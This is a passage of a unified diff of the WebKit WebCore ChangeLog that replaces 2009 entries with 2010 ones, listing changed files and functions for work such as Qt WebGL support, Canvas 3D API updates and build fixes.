-        * platform/qt/WheelEventQt.cpp:
-        (WebCore::PlatformWheelEvent::applyDelta):
-        (WebCore::PlatformWheelEvent::PlatformWheelEvent):
-
-2009-09-08  Michael Nordman  <michaeln@google.com>
-
-        Reviewed by Eric Seidel.
-
-        [Chromium] Cleanup: remove a few deprecated methods.
-        https://bugs.webkit.org/show_bug.cgi?id=28960
-
-        No new tests, just syntactic sugar.
-
-        * platform/network/chromium/ResourceRequest.h:
-        * platform/network/chromium/ResourceResponse.h:
-
-2009-09-08  Yongjun Zhang  <yongjun.zhang@nokia.com>
-
-        Reviewed by Ariya Hidayat.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28981
-
-        [Qt] make npapi.h compile in winscw compiler.
+        Simple style cleanups.
 
-        Add XP_SYMBIAN macro to identify Symbian OS; this macro should be used for Symbian
-        specific changes in npapi.h.
-        Undefine XP_WIN when building for Symbian to avoid including Windows specific code.
-
-        * bridge/npapi.h:
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::plugRemovedCallback):
+        (WebCore::plugAddedCallback):
+        (WebCore::PluginView::platformStart):
 
-2009-09-08  Oliver Hunt  <oliver@apple.com>
+2010-02-25  Andreas Kling  <andreas.kling@nokia.com>
 
-        Reviewed by Geoff Garen.
+        Reviewed by Darin Adler.
 
-        Web Inspector assertion failure related to marking
-        https://bugs.webkit.org/show_bug.cgi?id=28997
+        Optimize decoding of Latin-1 text by exploiting the fact that most of it will
+        be ASCII-only data.
 
-        When wrapping the callback the JSInspectorCallbackWrapper creator was using
-        inheritorID for the prototype structure which is unsafe for anything other
-        than a pure JS object.  Instead we now create a new structure, which while
-        inefficient is not problematic as this code is not hit frequently.
+        https://bugs.webkit.org/show_bug.cgi?id=35233
 
-        * bindings/js/JSInspectorCallbackWrapper.cpp:
-        (WebCore::JSInspectorCallbackWrapper::wrap):
+        * platform/text/TextCodecLatin1.cpp:
+        (WebCore::TextCodecLatin1::decode):
 
-2009-09-08  Kelly Norton  <knorton@google.com>
+2010-02-25  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        Add missing extension to the file entry in WebCore.vcproj.
-
-        * WebCore.vcproj/WebCore.vcproj: Added "cpp".
-
-2009-09-08  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        dataTransfer.types() should not return Files if file list is empty in the clipboard.
-        https://bugs.webkit.org/show_bug.cgi?id=28891
-
-        We change the behavior to handle the empty file list in order to match the spec.
-
-        Tested by clipboard-file-access.html.
-
-        * platform/mac/ClipboardMac.mm:
-        (WebCore::addHTMLClipboardTypesForCocoaType):
-        (WebCore::ClipboardMac::types):
-
-2009-09-08  Steve VanDeBogart  <vandebo@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Handle middle click in Chromium like QT
-        https://bugs.webkit.org/show_bug.cgi?id=28696
-
-        Tested by middle-click-onpaste.html.
-
-        * platform/Pasteboard.h:
-        * platform/chromium/ChromiumBridge.h:
-        * platform/chromium/ClipboardChromium.cpp:
-        (WebCore::ClipboardChromium::getData):
-        * platform/chromium/PasteboardChromium.cpp:
-        (WebCore::Pasteboard::Pasteboard):
-        (WebCore::Pasteboard::isSelectionMode):
-        (WebCore::Pasteboard::setSelectionMode):
-        (WebCore::Pasteboard::canSmartReplace):
-        (WebCore::Pasteboard::plainText):
-        (WebCore::Pasteboard::documentFragment):
-        * platform/chromium/PasteboardPrivate.h:
-        (WebCore::PasteboardPrivate::):
-
-2009-09-08  Kelly Norton  <knorton@google.com>
-
-        Reviewed by Eric Seidel.
-
-        WebInspector: Adds a timeline agent to InspectorController that collects
-        high-level timing data about event dispatch, layout, painting and HTML
-        parsing and makes it available to Inspector.
-        https://bugs.webkit.org/show_bug.cgi?id=25503
-
-        * WebCore.gypi:
-        * WebCore.xcodeproj/project.pbxproj:
-        * dom/Document.cpp:
-        (WebCore::Document::recalcStyle):
-        * dom/Document.h:
-        (WebCore::Document::inspectorTimelineAgent):
-        * dom/Node.cpp:
-        (WebCore::Node::dispatchGenericEvent):
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::write):
-        * inspector/DOMDispatchTimelineItem.cpp: Added.
-        (WebCore::DOMDispatchTimelineItem::DOMDispatchTimelineItem):
-        (WebCore::DOMDispatchTimelineItem::convertToScriptObject):
-        * inspector/DOMDispatchTimelineItem.h: Added.
-        (WebCore::DOMDispatchTimelineItem::~DOMDispatchTimelineItem):
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::enableTimeline):
-        (WebCore::InspectorBackend::disableTimeline):
-        (WebCore::InspectorBackend::timelineEnabled):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::setFrontendProxyObject):
-        (WebCore::InspectorController::close):
-        (WebCore::InspectorController::resetScriptObjects):
-        (WebCore::InspectorController::enableTimeline):
-        (WebCore::InspectorController::disableTimeline):
-        (WebCore::InspectorController::timelineEnabled):
-        * inspector/InspectorController.h:
-        (WebCore::InspectorController::timelineAgent):
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::timelineWasEnabled):
-        (WebCore::InspectorFrontend::timelineWasDisabled):
-        (WebCore::InspectorFrontend::addItemToTimeline):
-        * inspector/InspectorFrontend.h:
-        * inspector/InspectorTimelineAgent.cpp: Added.
-        (WebCore::InspectorTimelineAgent::InspectorTimelineAgent):
-        (WebCore::InspectorTimelineAgent::~InspectorTimelineAgent):
-        (WebCore::InspectorTimelineAgent::willDispatchDOMEvent):
-        (WebCore::InspectorTimelineAgent::didDispatchDOMEvent):
-        (WebCore::InspectorTimelineAgent::willLayout):
-        (WebCore::InspectorTimelineAgent::didLayout):
-        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
-        (WebCore::InspectorTimelineAgent::didRecalculateStyle):
-        (WebCore::InspectorTimelineAgent::willPaint):
-        (WebCore::InspectorTimelineAgent::didPaint):
-        (WebCore::InspectorTimelineAgent::willWriteHTML):
-        (WebCore::InspectorTimelineAgent::didWriteHTML):
-        (WebCore::InspectorTimelineAgent::reset):
-        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
-        (WebCore::InspectorTimelineAgent::currentTimeInMilliseconds):
-        (WebCore::InspectorTimelineAgent::sessionTimeInMilliseconds):
-        * inspector/InspectorTimelineAgent.h: Added.
-        * inspector/TimelineItem.cpp: Added.
-        (WebCore::TimelineItem::TimelineItem):
-        (WebCore::TimelineItem::addToTimeline):
-        (WebCore::TimelineItem::convertToScriptObject):
-        (WebCore::TimelineItem::convertChildrenToScriptArray):
-        (WebCore::TimelineItem::addChildItem):
-        * inspector/TimelineItem.h: Added.
-        (WebCore::):
-        (WebCore::TimelineItem::~TimelineItem):
-        (WebCore::TimelineItem::previous):
-        (WebCore::TimelineItem::releasePrevious):
-        (WebCore::TimelineItem::setEndTime):
-        (WebCore::TimelineItem::type):
-        * inspector/front-end/TimelineAgent.js: Added.
-        (WebInspector.TimelineAgent):
-        (WebInspector.addItemToTimeline):
-        (WebInspector.timelineWasEnabled):
-        (WebInspector.timelineWasDisabled):
-        * inspector/front-end/inspector.html:
-        * page/FrameView.cpp:
-        (WebCore::FrameView::layout):
-        (WebCore::FrameView::paintContents):
-        * page/FrameView.h:
-        (WebCore::FrameView::inspectorTimelineAgent):
-        * page/Page.cpp:
-        (WebCore::Page::inspectorTimelineAgent):
-        * page/Page.h:
-
-2009-09-08  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Fix unused variable warnings
-        https://bugs.webkit.org/show_bug.cgi?id=29018
-
-        No functional change, no tests.
-
-        * history/qt/HistoryItemQt.cpp:
-        (WebCore::HistoryItem::restoreState):
-        * platform/graphics/qt/ImageBufferQt.cpp:
-        (WebCore::putImageData):
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::paintMenuList):
+        Web Inspector: make script lines count calculation lazy.
 
-2009-09-08  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        https://bugs.webkit.org/show_bug.cgi?id=35392
 
-        Reviewed by Ariya Hidayat.
-
-        [Qt] Use the declaration order in initializer lists
-        https://bugs.webkit.org/show_bug.cgi?id=29017
-
-        No functional change, no new tests.
-
-        * platform/graphics/qt/FontCacheQt.cpp:
-        (WebCore::FontPlatformDataCacheKey::FontPlatformDataCacheKey):
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
-
-2009-09-08  Kent Tamura  <tkent@chromium.org>
+        * inspector/front-end/Script.js:
+        (WebInspector.Script):
+        (WebInspector.Script.prototype.get linesCount):
+        * inspector/front-end/ScriptsPanel.js:
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView.prototype._addBreakpoint):
 
-        Reviewed by Eric Seidel.
+2010-02-25  James Choi  <jchoi42@pha.jhu.edu>
 
-        Implement ValidityState::typeMismatch() for <input type=number>.
-        https://bugs.webkit.org/show_bug.cgi?id=28934
+        Reviewed by David Levin.
 
-        Test: fast/forms/ValidityState-typeMismatch-number.html
+        Change hardcoded gcc paths to be Solaris friendly
+        https://bugs.webkit.org/show_bug.cgi?id=35213
 
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::formStringToDouble):
-        * html/HTMLInputElement.h:
-        * html/ValidityState.cpp:
-        (WebCore::ValidityState::typeMismatch):
-        * html/ValidityState.h:
+        * bindings/scripts/CodeGeneratorObjC.pm:
+        * bindings/scripts/IDLParser.pm:
+        * css/make-css-file-arrays.pl:
+        * dom/make_names.pl:
 
-2009-09-08  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+2010-02-25  Xan Lopez  <xlopez@igalia.com>
 
         Reviewed by Gustavo Noronha.
 
-        [Gtk] Another attempt of a buildfix.
-
-        * GNUmakefile.am: Modified. Remove some extra IDL files added in r48153.
-
-2009-09-08  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Make cursor set cleaner in QtWebKit Api: eliminate SetCursorEvent hack.
-        https://bugs.webkit.org/show_bug.cgi?id=28865
-
-        Save the QCursor as a property in WidgetQt::setCursor
-        and actually change the cursor in QWebView::event() by making use
-        of the QEvent::DynamicPropertyChange event type.
-        When unsetCursor() is called on the QWidget we can fallback to
-        the cursor set by WebCore.
+        Workaround Java plugins not drawing themselves properly on first
+        expose by doing a late size-allocate after 'plug-added' has been
+        emitted on the embedding GtkSocket. It's unclear to me if this is
+        a bug in our side or theirs, but this should be pretty safe and
+        fixes the annoyance while we investigate it further.
 
-        Patch by Kenneth Rohde Christiansen <kenneth@webkit.org> and
-                 Antonio Gomes <antonio.gomes@openbossa.org> on 2009-09-07
-
-        * platform/qt/WidgetQt.cpp:
-        (WebCore::Widget::setCursor):
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::plugAddedCallback):
+        (WebCore::PluginView::platformStart):
 
-2009-09-08  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+2010-02-23  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        Reviewed by Gustavo Noronha.
+        Reviewed by Tor Arne Vestbø.
 
-        [Gtk] Buildfix for build error introduced in r48150.
+        Add missing include guards
 
-        * GNUmakefile.am: Modified. Added missing IDL files.
+        * loader/CrossOriginPreflightResultCache.h:
+        * loader/MainResourceLoader.h:
 
-2009-09-08  Csaba Osztrogonac  <oszi@inf.u-szeged.hu>
+2010-02-25  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
         Reviewed by Tor Arne Vestbø.
 
-        [Qt] Buildfix. Build error caused by r48150.
+        [Qt] Restrict the optimization flags for Symbian to release builds.
 
-        * WebCore.pro: missing IDL files added
+        * WebCore.pro:
 
-2009-09-07  Chris Marrin  <cmarrin@apple.com>
+2010-02-25  Jarkko Sakkinen  <jarkko.sakkinen@tieto.com>
 
-        Reviewed by Oliver Hunt.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Update Canvas 3D implementation to match spec
-        https://bugs.webkit.org/show_bug.cgi?id=29010
+        Qt WebGL support
 
-        This adds several new CanvasXXXArray classes each of which has a custom constructor
-        and custom getters and setters. Also changed CanvasRenderingContext3D and GraphicsContext3D
-        to match the new and changed API.
+        Adds GraphicsContext3D QtWebKit implementation.
+        https://bugs.webkit.org/show_bug.cgi?id=35153
 
-        * DerivedSources.make:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSCanvasArrayBufferConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasArrayBufferConstructor.h: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasByteArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasByteArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasByteArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasFloatArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasFloatArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasFloatArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasIntArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasIntArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasIntArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
-        (WebCore::JSCanvasRenderingContext3D::bufferData):
-        (WebCore::JSCanvasRenderingContext3D::bufferSubData):
-        (WebCore::JSCanvasRenderingContext3D::texImage2D):
-        (WebCore::JSCanvasRenderingContext3D::texSubImage2D):
-        * bindings/js/JSCanvasShortArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasShortArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasShortArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedByteArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedByteArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedByteArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedIntArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedIntArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedIntArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedShortArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedShortArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSCanvasUnsignedShortArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::canvasArrayBuffer):
-        (WebCore::JSDOMWindow::canvasByteArray):
-        (WebCore::JSDOMWindow::canvasUnsignedByteArray):
-        (WebCore::JSDOMWindow::canvasIntArray):
-        (WebCore::JSDOMWindow::canvasUnsignedIntArray):
-        (WebCore::JSDOMWindow::canvasShortArray):
-        (WebCore::JSDOMWindow::canvasUnsignedShortArray):
-        (WebCore::JSDOMWindow::canvasFloatArray):
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::getContext):
-        (WebCore::HTMLCanvasElement::paint):
-        * html/canvas/CanvasArray.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasArray.h: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasArray.idl: Added.
-        * html/canvas/CanvasArrayBuffer.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasArrayBuffer.h: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasArrayBuffer.idl: Added.
-        * html/canvas/CanvasByteArray.cpp:
-        * html/canvas/CanvasByteArray.h:
-        * html/canvas/CanvasByteArray.idl:
-        * html/canvas/CanvasFloatArray.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasFloatArray.h: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasFloatArray.idl: Added.
-        * html/canvas/CanvasIntArray.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasIntArray.h: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasIntArray.idl: Added.
-        * html/canvas/CanvasRenderingContext3D.cpp:
-        (WebCore::CanvasRenderingContext3D::CanvasRenderingContext3D):
-        (WebCore::CanvasRenderingContext3D::markContextChanged):
-        (WebCore::CanvasRenderingContext3D::beginPaint):
-        (WebCore::CanvasRenderingContext3D::endPaint):
-        (WebCore::CanvasRenderingContext3D::reshape):
-        (WebCore::CanvasRenderingContext3D::sizeInBytes):
-        (WebCore::CanvasRenderingContext3D::bindTexture):
-        (WebCore::CanvasRenderingContext3D::bufferData):
-        (WebCore::CanvasRenderingContext3D::bufferSubData):
-        (WebCore::CanvasRenderingContext3D::checkFramebufferStatus):
-        (WebCore::CanvasRenderingContext3D::clear):
-        (WebCore::CanvasRenderingContext3D::createBuffer):
-        (WebCore::CanvasRenderingContext3D::createFramebuffer):
-        (WebCore::CanvasRenderingContext3D::createTexture):
-        (WebCore::CanvasRenderingContext3D::createProgram):
-        (WebCore::CanvasRenderingContext3D::createRenderbuffer):
-        (WebCore::CanvasRenderingContext3D::createShader):
-        (WebCore::CanvasRenderingContext3D::deleteBuffer):
-        (WebCore::CanvasRenderingContext3D::deleteFramebuffer):
-        (WebCore::CanvasRenderingContext3D::deleteProgram):
-        (WebCore::CanvasRenderingContext3D::deleteRenderbuffer):
-        (WebCore::CanvasRenderingContext3D::deleteShader):
-        (WebCore::CanvasRenderingContext3D::deleteTexture):
-        (WebCore::CanvasRenderingContext3D::drawArrays):
-        (WebCore::CanvasRenderingContext3D::drawElements):
-        (WebCore::CanvasRenderingContext3D::getBoolean):
-        (WebCore::CanvasRenderingContext3D::getBooleanv):
-        (WebCore::CanvasRenderingContext3D::getBufferParameteri):
-        (WebCore::CanvasRenderingContext3D::getBufferParameteriv):
-        (WebCore::CanvasRenderingContext3D::getFloat):
-        (WebCore::CanvasRenderingContext3D::getFloatv):
-        (WebCore::CanvasRenderingContext3D::getFramebufferAttachmentParameteri):
-        (WebCore::CanvasRenderingContext3D::getFramebufferAttachmentParameteriv):
-        (WebCore::CanvasRenderingContext3D::getInteger):
-        (WebCore::CanvasRenderingContext3D::getIntegerv):
-        (WebCore::CanvasRenderingContext3D::getProgrami):
-        (WebCore::CanvasRenderingContext3D::getProgramiv):
-        (WebCore::CanvasRenderingContext3D::getProgramInfoLog):
-        (WebCore::CanvasRenderingContext3D::getRenderbufferParameteri):
-        (WebCore::CanvasRenderingContext3D::getRenderbufferParameteriv):
-        (WebCore::CanvasRenderingContext3D::getShaderi):
-        (WebCore::CanvasRenderingContext3D::getShaderiv):
-        (WebCore::CanvasRenderingContext3D::getShaderInfoLog):
-        (WebCore::CanvasRenderingContext3D::getShaderSource):
-        (WebCore::CanvasRenderingContext3D::getTexParameterf):
-        (WebCore::CanvasRenderingContext3D::getTexParameterfv):
-        (WebCore::CanvasRenderingContext3D::getTexParameteri):
-        (WebCore::CanvasRenderingContext3D::getTexParameteriv):
-        (WebCore::CanvasRenderingContext3D::getUniformf):
-        (WebCore::CanvasRenderingContext3D::getUniformfv):
-        (WebCore::CanvasRenderingContext3D::getUniformi):
-        (WebCore::CanvasRenderingContext3D::getUniformiv):
-        (WebCore::CanvasRenderingContext3D::getUniformLocation):
-        (WebCore::CanvasRenderingContext3D::getVertexAttribf):
-        (WebCore::CanvasRenderingContext3D::getVertexAttribfv):
-        (WebCore::CanvasRenderingContext3D::getVertexAttribi):
-        (WebCore::CanvasRenderingContext3D::getVertexAttribiv):
-        (WebCore::CanvasRenderingContext3D::getVertexAttribOffset):
-        (WebCore::CanvasRenderingContext3D::texImage2D):
-        (WebCore::CanvasRenderingContext3D::texParameterf):
-        (WebCore::CanvasRenderingContext3D::texParameteri):
-        (WebCore::CanvasRenderingContext3D::texSubImage2D):
-        (WebCore::CanvasRenderingContext3D::uniform1f):
-        (WebCore::CanvasRenderingContext3D::uniform1fv):
-        (WebCore::CanvasRenderingContext3D::uniform1i):
-        (WebCore::CanvasRenderingContext3D::uniform1iv):
-        (WebCore::CanvasRenderingContext3D::uniform2f):
-        (WebCore::CanvasRenderingContext3D::uniform2fv):
-        (WebCore::CanvasRenderingContext3D::uniform2i):
-        (WebCore::CanvasRenderingContext3D::uniform2iv):
-        (WebCore::CanvasRenderingContext3D::uniform3f):
-        (WebCore::CanvasRenderingContext3D::uniform3fv):
-        (WebCore::CanvasRenderingContext3D::uniform3i):
-        (WebCore::CanvasRenderingContext3D::uniform3iv):
-        (WebCore::CanvasRenderingContext3D::uniform4f):
-        (WebCore::CanvasRenderingContext3D::uniform4fv):
-        (WebCore::CanvasRenderingContext3D::uniform4i):
-        (WebCore::CanvasRenderingContext3D::uniform4iv):
-        (WebCore::CanvasRenderingContext3D::uniformMatrix2fv):
-        (WebCore::CanvasRenderingContext3D::uniformMatrix3fv):
-        (WebCore::CanvasRenderingContext3D::uniformMatrix4fv):
-        (WebCore::CanvasRenderingContext3D::useProgram):
-        (WebCore::CanvasRenderingContext3D::validateProgram):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib1f):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib1fv):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib2f):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib2fv):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib3f):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib3fv):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib4f):
-        (WebCore::CanvasRenderingContext3D::vertexAttrib4fv):
-        (WebCore::CanvasRenderingContext3D::vertexAttribPointer):
-        (WebCore::CanvasRenderingContext3D::viewport):
-        * html/canvas/CanvasRenderingContext3D.h:
-        * html/canvas/CanvasRenderingContext3D.idl:
-        * html/canvas/CanvasShortArray.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasShortArray.h: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasShortArray.idl: Added.
-        * html/canvas/CanvasTexture.cpp:
-        (WebCore::CanvasTexture::CanvasTexture):
-        * html/canvas/CanvasTexture.h:
-        (WebCore::CanvasTexture::isCubeMapRWrapModeInitialized):
-        (WebCore::CanvasTexture::setCubeMapRWrapModeInitialized):
-        * html/canvas/CanvasUnsignedByteArray.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasUnsignedByteArray.h: Added with properties svn:eol-style and svn:mime-type.
-         * html/canvas/CanvasUnsignedByteArray.idl: Added.
-        * html/canvas/CanvasUnsignedIntArray.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasUnsignedIntArray.h: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasUnsignedIntArray.idl: Added.
-        * html/canvas/CanvasUnsignedShortArray.cpp: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasUnsignedShortArray.h: Added with properties svn:eol-style and svn:mime-type.
-        * html/canvas/CanvasUnsignedShortArray.idl: Added.
-        * page/DOMWindow.idl:
+        * WebCore.pri:
+        * WebCore.pro:
         * platform/graphics/GraphicsContext3D.h:
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        * platform/graphics/qt/GraphicsContext3DQt.cpp: Added.
+        (WebCore::GraphicsContext3DInternal::isValid):
+        (WebCore::GraphicsContext3DInternal::GraphicsContext3DInternal):
+        (WebCore::GraphicsContext3DInternal::~GraphicsContext3DInternal):
+        (WebCore::GraphicsContext3DInternal::getProcAddress):
+        (WebCore::GraphicsContext3D::create):
+        (WebCore::GraphicsContext3D::GraphicsContext3D):
+        (WebCore::GraphicsContext3D::~GraphicsContext3D):
+        (WebCore::GraphicsContext3D::platformGraphicsContext3D):
+        (WebCore::GraphicsContext3D::platformTexture):
+        (WebCore::GraphicsContext3D::makeContextCurrent):
         (WebCore::GraphicsContext3D::beginPaint):
         (WebCore::GraphicsContext3D::endPaint):
+        (WebCore::GraphicsContext3D::reshape):
+        (WebCore::GraphicsContext3D::activeTexture):
+        (WebCore::GraphicsContext3D::attachShader):
+        (WebCore::GraphicsContext3D::bindAttribLocation):
+        (WebCore::GraphicsContext3D::bindBuffer):
+        (WebCore::GraphicsContext3D::bindFramebuffer):
+        (WebCore::GraphicsContext3D::bindRenderbuffer):
         (WebCore::GraphicsContext3D::bindTexture):
+        (WebCore::GraphicsContext3D::blendColor):
+        (WebCore::GraphicsContext3D::blendEquation):
+        (WebCore::GraphicsContext3D::blendEquationSeparate):
+        (WebCore::GraphicsContext3D::blendFunc):
+        (WebCore::GraphicsContext3D::blendFuncSeparate):
         (WebCore::GraphicsContext3D::bufferData):
         (WebCore::GraphicsContext3D::bufferSubData):
         (WebCore::GraphicsContext3D::checkFramebufferStatus):
+        (WebCore::GraphicsContext3D::clearColor):
+        (WebCore::GraphicsContext3D::clear):
+        (WebCore::GraphicsContext3D::clearDepth):
+        (WebCore::GraphicsContext3D::clearStencil):
+        (WebCore::GraphicsContext3D::colorMask):
+        (WebCore::GraphicsContext3D::compileShader):
+        (WebCore::GraphicsContext3D::copyTexImage2D):
+        (WebCore::GraphicsContext3D::copyTexSubImage2D):
+        (WebCore::GraphicsContext3D::cullFace):
+        (WebCore::GraphicsContext3D::depthFunc):
+        (WebCore::GraphicsContext3D::depthMask):
+        (WebCore::GraphicsContext3D::depthRange):
+        (WebCore::GraphicsContext3D::detachShader):
+        (WebCore::GraphicsContext3D::disable):
+        (WebCore::GraphicsContext3D::disableVertexAttribArray):
         (WebCore::GraphicsContext3D::drawArrays):
         (WebCore::GraphicsContext3D::drawElements):
+        (WebCore::GraphicsContext3D::enable):
+        (WebCore::GraphicsContext3D::enableVertexAttribArray):
+        (WebCore::GraphicsContext3D::finish):
+        (WebCore::GraphicsContext3D::flush):
+        (WebCore::GraphicsContext3D::framebufferRenderbuffer):
+        (WebCore::GraphicsContext3D::framebufferTexture2D):
+        (WebCore::GraphicsContext3D::frontFace):
+        (WebCore::GraphicsContext3D::generateMipmap):
+        (WebCore::GraphicsContext3D::getActiveAttrib):
+        (WebCore::GraphicsContext3D::getActiveUniform):
+        (WebCore::GraphicsContext3D::getAttribLocation):
+        (WebCore::GraphicsContext3D::getContextAttributes):
+        (WebCore::GraphicsContext3D::getError):
+        (WebCore::GraphicsContext3D::getString):
+        (WebCore::GraphicsContext3D::hint):
+        (WebCore::GraphicsContext3D::isBuffer):
+        (WebCore::GraphicsContext3D::isEnabled):
+        (WebCore::GraphicsContext3D::isFramebuffer):
+        (WebCore::GraphicsContext3D::isProgram):
+        (WebCore::GraphicsContext3D::isRenderbuffer):
+        (WebCore::GraphicsContext3D::isShader):
+        (WebCore::GraphicsContext3D::isTexture):
+        (WebCore::GraphicsContext3D::lineWidth):
+        (WebCore::GraphicsContext3D::linkProgram):
+        (WebCore::GraphicsContext3D::pixelStorei):
+        (WebCore::GraphicsContext3D::polygonOffset):
+        (WebCore::GraphicsContext3D::readPixels):
+        (WebCore::GraphicsContext3D::releaseShaderCompiler):
+        (WebCore::GraphicsContext3D::renderbufferStorage):
+        (WebCore::GraphicsContext3D::sampleCoverage):
+        (WebCore::GraphicsContext3D::scissor):
+        (WebCore::GraphicsContext3D::shaderSource):
+        (WebCore::GraphicsContext3D::stencilFunc):
+        (WebCore::GraphicsContext3D::stencilFuncSeparate):
+        (WebCore::GraphicsContext3D::stencilMask):
+        (WebCore::GraphicsContext3D::stencilMaskSeparate):
+        (WebCore::GraphicsContext3D::stencilOp):
+        (WebCore::GraphicsContext3D::stencilOpSeparate):
         (WebCore::GraphicsContext3D::texParameterf):
         (WebCore::GraphicsContext3D::texParameteri):
         (WebCore::GraphicsContext3D::uniform1f):
@@ -22779,6 +12314,8 @@
         (WebCore::GraphicsContext3D::uniformMatrix2fv):
         (WebCore::GraphicsContext3D::uniformMatrix3fv):
         (WebCore::GraphicsContext3D::uniformMatrix4fv):
+        (WebCore::GraphicsContext3D::useProgram):
+        (WebCore::GraphicsContext3D::validateProgram):
         (WebCore::GraphicsContext3D::vertexAttrib1f):
         (WebCore::GraphicsContext3D::vertexAttrib1fv):
         (WebCore::GraphicsContext3D::vertexAttrib2f):
@@ -22788,27651 +12325,9499 @@
         (WebCore::GraphicsContext3D::vertexAttrib4f):
         (WebCore::GraphicsContext3D::vertexAttrib4fv):
         (WebCore::GraphicsContext3D::vertexAttribPointer):
-        (WebCore::GraphicsContext3D::getBoolean):
+        (WebCore::GraphicsContext3D::viewport):
         (WebCore::GraphicsContext3D::getBooleanv):
-        (WebCore::GraphicsContext3D::getFloat):
-        (WebCore::GraphicsContext3D::getFloatv):
-        (WebCore::GraphicsContext3D::getInteger):
-        (WebCore::GraphicsContext3D::getIntegerv):
-        (WebCore::GraphicsContext3D::getBufferParameteri):
         (WebCore::GraphicsContext3D::getBufferParameteriv):
-        (WebCore::GraphicsContext3D::getFramebufferAttachmentParameteri):
